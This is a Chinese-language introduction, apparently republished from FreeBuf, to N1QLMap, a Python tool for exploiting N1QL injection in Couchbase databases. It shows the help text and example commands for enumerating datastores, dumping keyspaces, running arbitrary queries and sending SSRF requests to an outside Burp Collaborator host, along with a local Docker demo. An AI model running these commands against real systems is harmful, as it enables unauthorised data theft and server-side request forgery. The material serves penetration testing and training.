N1QLMap
N1QLMap是一款功能强大的N1QL注入漏洞利用工具,当前支持针对Couchbase数据库进行渗透。该工具支持通过CURL进行数据提取和SSRF攻击。该工具基于Python开发,因此具备较好的跨平台特性。
工具下载
广大研究人员可以使用下列命令将该项目源码克隆至本地:
git clone https://github.com/FSecureLABS/N1QLMap.git
工具帮助信息
usage: n1qlMap.py [-h] [-r REQUEST] [-k KEYWORD] [--proxy PROXY] [--validatecerts] [-v]
(-d | -ks DATASTORE_URL | -e KEYSPACE_ID | -q QUERY | -c [ENDPOINT [OPTIONS ...]])
host
positional arguments:
host Host used to send an HTTP request e.g. https://vulndomain.net
optional arguments:
-h, --help show this help message and exit
-r REQUEST, --request REQUEST
Path to an HTTP request
-k KEYWORD, --keyword KEYWORD
Keyword that exists in HTTP response when query is successful
--proxy PROXY Proxy server address
--validatecerts Set the flag to enforce certificate validation. Certificates are not validated by default!
-v, --verbose_debug Set the verbosity level to debug
-d, --datastores Lists available datastores
-ks DATASTORE_URL, --keyspaces DATASTORE_URL
Lists available keyspaces for specific datastore URL
-e KEYSPACE_ID, --extract KEYSPACE_ID
Extracts data from a specific keyspace
-q QUERY, --query QUERY
Run arbitrary N1QL query
-c [ENDPOINT [OPTIONS ...]], --curl [ENDPOINT [OPTIONS ...]]
Runs CURL N1QL function inside the query, can be used to SSRF
工具使用
首先,我们需要向request.txt文件添加一个HTTP请求,然后使用i来制作一个注入点,大家可以通过查看example_request_1.txt文件以供参考。
接下来,需要执行下列命令。
提取数据存储:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --datastores
从特定数据存储ID提取密钥空间:
"http://127.0.0.1:8091" ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --keyspaces
从给定密钥空间提取全部文档:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --extract travel-sample
运行任意查询语句:
'SELECT * FROM `travel-sample` AS T ORDER by META(T).id LIMIT 1' ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --query
执行CURL请求/SSRF:
$ ./n1qlMap.py http://localhost:3000 --request example_request_1.txt --keyword beer-sample --curl *************j3mrt7xy3pre.burpcollaborator.net "{'request':'POST','data':'data','header':['User-Agent: Agent Smith']}"
工具要求
除了Python 3环境之外,N1QLMap.py脚本不需其他任何的依赖组件。
下列组件仅Demo所需,Demo位于该项目的n1ql-demo目录下:
-
Docker
-
Docer Compose
如需在Kali上安装Docker和Docker Compose,请运行下列命令:
# Docker Installation
curl -fsSL https://download.docker.com/linux/debian/gpg | apt-key add -
echo 'deb [arch=amd64] https://download.docker.com/linux/debian buster stable' > /etc/apt/sources.list.d/docker.list
apt-get update
apt-get remove docker docker-engine docker.io
apt-get install docker-ce
# Start Docker Service
systemctl start docker
# Docker Compose Installation
sudo curl -L "https://github.com/docker/compose/releases/download/1.24.1/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose
sudo chmod +x /usr/local/bin/docker-compose
接下来,运行下列命令即可测试Docker:
docker run hello-world
工具使用样例-Demo
如需测试该工具并尝试利用N1QL注入漏洞,我们可以使用安装了Couchbase和NodeJS Web应用程序的Docker设备来进行测试。如果已经安装好了上述依赖组件,我们可以直接运行下列命令进行测试:
cd n1ql-demo
./quick_setup.sh
现在,我们就可以执行N1QLMap来进行N1QL注入漏洞测试并从Couchbase数据库中提取数据了。
项目地址
N1QLMap:https://github.com/FSecureLABS/N1QLMap
参考资料
-
https://labs.f-secure.com/blog/n1ql-injection-kind-of-sql-injection-in-a-nosql-database
精彩推荐

本文始发于微信公众号(FreeBuf):N1QLMap:利用N1QL注入漏洞从Couchbase数据库中提取数据
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论